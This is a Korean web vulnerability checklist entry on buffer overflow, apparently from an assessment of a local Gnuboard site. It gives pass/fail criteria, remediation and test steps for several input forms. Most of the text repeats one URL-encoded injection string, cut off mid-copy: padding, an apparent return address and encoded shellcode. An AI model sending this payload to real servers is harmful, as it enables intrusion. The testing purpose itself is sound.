웹취약점점검- Buffer Overflow

buffer Overflow란?

메모리에 할당된 버퍼의 양을 초과하는 데이터를 입력하여 프로그램의 복귀 주소를 조작할 수 있는 취약점

 

 

취약점 개요

점검내용	■ 파라미터 입력 값에 대한 점검 여부 진단
점검목적	■ 애플리케이션에서 파라미터 입력 값에 대한 적절성을 검사하여 비정상적 오류 발      생을 차단하기 위함
보안위협	■ 애플리케이션 입력 값이 크기에 대한 적절성이 검증되지 않을 경우 개발시에 할당     된 저장 공간보다 더 큰 값의 입력이 가능하고 이로 인한 오류 발생으로 의도되지     않은 정보 노출, 프로그램에 대한 비 인가된 접근 및 사용 등이 발생할 수 있음

 

 

점검대상 및 판단기준

대상	■ 그누보드(localhost)
판단기준	양호- 파라미터 입력 값에 대량의 인수 값 전달 시 에러 페이지나 오류가 발생되지 않        는 경우
	취약- 파라미터 입력 값에 대한 검증이 이루어지지 않고 에러페이지나 오류가 발생하        는 경우
조치방법	외부 파라미터 입력 값을 할당하여 사용하는 경우 변수에 입력된 입력 값 범위를 검사 하여 외부 파라미터 입력 값이 허용 범의를 벗어나는 경우 에러 페이지가 반환 되지 않도록 조치

 

점검 및 조치 사례

 

1. 로그인 창에 많은 인수값 전달 시 에러 페이지나 오류가 발생하는지 점검

 

로그인폼 점검

 

 

2. 회원가입 페이지에 많은 인수 값 전달 시 에러 페이지나 오류가 발생하는지 점검

 

회원가입폼 점검

 

3. 사이트 검색란에 많은 인수 값 전달 시 에러 페이지나 오류가 발생하는지 점검

 

메인페이지 검색폼 점검

 

4-1. 웹 애플리케이션에 많은 인수 값 전달시 에러 페이지나 오류가 발생하는지 점검

 

상품페이지 인수값 점검

 

4-2. 웹 애플리케이션 에러 페이지(Request-URl Too Long) 발생

 

Request-URl Too Long 에러발생

삽입구문: %27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27
%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27
%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27
%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27
%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27
%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27
%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27
%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27
%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%01%01%2D%01%01%01%01%50%2D%FB%03%FE%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%C4%C7%0B%FE%2D%01%01%01%01%2D%01%01%01%01%50%2D%03%37%BC%CD%2D%01%01%01%01%2D%01%01%01%01%50%2D%4C%FE%FD%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%BB%0C%33%02%2D%01%01%01%01%2D%01%01%01%01%50%2D%61%1E%2B%F5%2D%01%01%01%01%2D%01%01%01%01%50%2D%1B%AB%15%48%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%E7%77%98%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%66%04%58%2D%01%01%01%01%2D%01%01%01%01%50%2D%7F%95%36%BA%2D%01%01%01%01%2D%01%01%01%01%50%2D%7D%39%CA%E7%2D%01%01%01%01%2D%01%01%01%01%50%2D%0E%92%0E%21%2D%01%01%01%01%2D%01%01%01%01%50%2D%C6%06%E6%58%2D%01%01%01%01%2D%01%01%01%01%50%27
%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%8f%92%04%08%54%58%2D%79%FC%FD%FD%2D%01%01%01%01%2D%01%01%01%01%50%5C%25%01%01%01%01%25%02%02%02%02%2D%75%1C%30%7D%2D%01%01%01%01%2D%01%01%01%01%50%2D%53%DF%74%2B%2D%01%01%01%01%2D%01%01%01%01%50%2D%12%CA%20%1D%2D%01%01%01%01%2D%01%01%01%01%50%2D%EE%03%FD%01%2D%01%01%01%01%2D%01%01%01%01%50%2D%F8%F3%04%FC%2D%01%01%0